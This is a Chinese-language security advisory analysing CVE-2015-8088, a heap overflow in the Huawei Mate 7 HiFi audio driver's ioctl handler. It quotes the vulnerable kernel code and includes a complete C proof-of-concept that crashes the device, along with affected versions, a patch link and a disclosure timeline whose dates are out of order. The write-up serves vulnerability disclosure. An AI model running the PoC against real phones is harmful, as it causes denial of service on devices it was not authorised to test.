CVE-2015-8088: 华为智能手机HiFi驱动堆溢出

Shawn:感谢Pray3r的分享,驱动一直以来都是linux内核的重灾区,要以不断修复bug的方式去防御漏洞几乎是1990年代的方案,另外一方面,作为厂商也应该加大代码审计的投入。这篇分析的英文版已经分享到了DNFWAH Issue 5上。

By Pray3r

Description

/dev/hifi_misc 是用户空间到内核空间中Hisi 芯片的一个接口,该接口和Hifi相关。我们看到drivers/hisi/hifidsp/hifi_lpp.c中的代码,攻击者可以在用户空间下,可以使用HIFI_MISC_IOCTL_WRITE_PARAMS参数,并通过调用ioctl()执行到该代码路径:

static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg)
{
[...]
	switch(cmd) {
		[...]
		case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/
			ret = hifi_dsp_write_param(arg);
		        break;
		[...]
	}
[...]
}

之后,hifi_dsp_write_param()函数被调用,它的参数来自用户空间:

int hifi_dsp_write_param(unsigned long arg)
{
	int ret = OK;
	phys_addr_t hifi_param_phy_addr = 0;
	void*		hifi_param_vir_addr = NULL;
	CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL;
	struct misc_io_sync_param para;
[...]
	if (copy_from_user(&para, (void*)arg, sizeof(struct misc_io_sync_param))) {  // arg --> para
		loge("copy_from_user fail.\n");
		ret = ERROR;
		goto error1;
	}
[...]
	hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc
	if (NULL == hifi_param_vir_addr) {
		loge("hifi_param_vir_addr ioremap fail\n");
		ret = ERROR;
		goto error2;
	}
[...]
	ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow
	if ( ret != 0) {
		loge("copy data to hifi error! ret = %d", ret);
	}
[...]
}

参数arg是一个结构体指针,指向用户空间的内存。hifi_dsp_write_param()函数初始化之后,使用copy_from_user()将用户空间的数据(arg)拷贝到内核空间中(para)。注意,它没做任何验证,就将用户空间下的所用的成员变量拷贝到内核空间中。para结构如下:

struct misc_io_sync_param {
	void *                  para_in;          
	unsigned int            para_size_in;      
	void *                  para_out;          
	unsigned int            para_size_out;  
};

紧接着,又调用了copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in)

  • hifi_param_vir_addr指向一块由ioremap()分配的堆内存,这块堆内存的大小为SIZE_PARAM_PRIV(200 * 1024)字节。
  • para.para_in指针由用户空间控制,它是存储数据的内存。
  • para.para_size_in是一个unsigned int由用户空间控制,它是para.para_in的大小。

然而,代码中没有对para.para_inpara.para_size_in进行验证,如果para.para_size_in大于200 * 1024,例如300 * 1024,将产生一个堆溢出。PoC如下:

/*
 *
 *  HuaWei Mate7 hifi driver Poc
 *
 *  Writen by pray3r<pray3r.z@gmail.com>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

#define HIFI_MISC_IOCTL_WRITE_PARAMS    _IOWR('A', 0x75, struct misc_io_sync_param)

struct misc_io_sync_param {
	void *                  para_in;           
	unsigned int            para_size_in;       
	void *                  para_out;           
	unsigned int            para_size_out;   
};

int main(int arg, char **argv)
{
	int fd; 
	void *in = malloc(300 * 1024);
	void *out = malloc(100);
	struct misc_io_sync_param poc;

	poc.para_in = in;
	poc.para_size_in = 300 * 1024;
	poc.para_out = out;
	poc.para_size_out = 100;

	fd = open("/dev/hifi_misc", O_RDWR);

	ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);

	free(in);
	free(out);

	return 0;
}

执行这个PoC将导致Mate 7崩溃,请注意,该PoC至少需要在audio或system用户下执行,因为/dev/hifi_misc在audio和system用户下才有可写的权限。

Impact

para.para_size设置一个很大的值,手机会崩溃,但是想利用这个漏洞提权是非常困难的,因为在ioremap()[1]的实现调用了get_vm_area_node(),这个函数总是会设置PAGE_SIZE大小的保护页。

感谢Dan Rosenberg的指点。[2]

Affected

Model   : HUAWEI MT7-TL10
Version : MT7-TL10V100R001CHNC00B133
Android : 4.4.2
Kernel  : 3.10.30-00015-g049a08f

其它类似的华为手机可能也受影响。

Patch

参考华为官网的信息:
http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm

TimeLine

Sep 28 2015 - Report sent to Huawei PSIRT
Sep 10 2015 - Huawei confirmed the security issues
Nov 04 2015 - Huawei fixed and public the security issues
Nov 09 2015 - Update CVE number

Reference

[1]. http://lxr.free-electrons.com/source/mm/vmalloc.c#L1351 [2]. http://seclists.org/oss-sec/2015/q4/532